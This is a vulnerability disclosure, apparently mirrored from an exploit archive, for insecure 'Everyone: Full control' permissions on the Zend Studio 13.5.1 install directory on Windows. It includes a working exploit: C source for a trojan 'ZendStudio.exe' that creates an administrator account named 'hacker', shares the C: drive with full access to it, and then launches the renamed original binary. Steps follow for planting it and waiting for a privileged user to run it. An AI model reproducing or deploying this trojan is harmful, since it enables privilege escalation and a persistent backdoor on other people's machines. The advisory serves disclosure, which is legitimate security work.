Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation

[+] Credits: John Page aka hyp3rlinx
 
 
Vendor:
============
www.zend.com
 
 
 
Product:
======================
ZendStudio IDE v13.5.1
 
Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile
app with source code.
 
 
 
Vulnerability Type:
=====================
Privilege Escalation
 
 
 
CVE Reference:
==============
N/A
 
 
Vulnerability Details:
=====================
 
ZendStudio IDE uses weak insecure permissions settings on its files/directory as the “Everyone” group has full access on it.
Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges
on the affected system.
 
"Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.
 
Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or
replace the ZendStudio executable and have it run in the context of the system.
 
 
e.g.
 
c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe
 
ZendStudio.exe Everyone:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Users:(I)(RX)
 
 
x86_64 version ...
 
 
c:\Program Files\Zend>icacls * | more
Zend Studio 13.5.1 Everyone:(F)
                   Everyone:(OI)(CI)(IO)(F)
                   NT SERVICE\TrustedInstaller:(I)(F)
                   NT SERVICE\TrustedInstaller:(I)(CI)(I
                   NT AUTHORITY\SYSTEM:(I)(F)
                   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F
                   BUILTIN\Administrators:(I)(F)
                   BUILTIN\Administrators:(I)(OI)(CI)(IO
                   BUILTIN\Users:(I)(RX)
                   BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                   CREATOR OWNER:(I)(OI)(CI)(IO)(F)
 
 
 
Exploit code(s):
===============
 
1) Compile below 'C' code name it as "ZendStudio.exe"
 
 
#include<windows.h>
 
int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1\\~ZendStudio.exe",0);
return 0;
} 
 
 
2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"
 
 
3) Place our malicious "ZendStudio.exe" in the ZendStudio directory
 
 
4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later,
go back and login with your shiny new account.
 
 
 
Disclosure Timeline:
========================================
Vendor Notification: September 30, 2016
October 8, 2016 : Public Disclosure

#  0day.today [2018-02-10]  #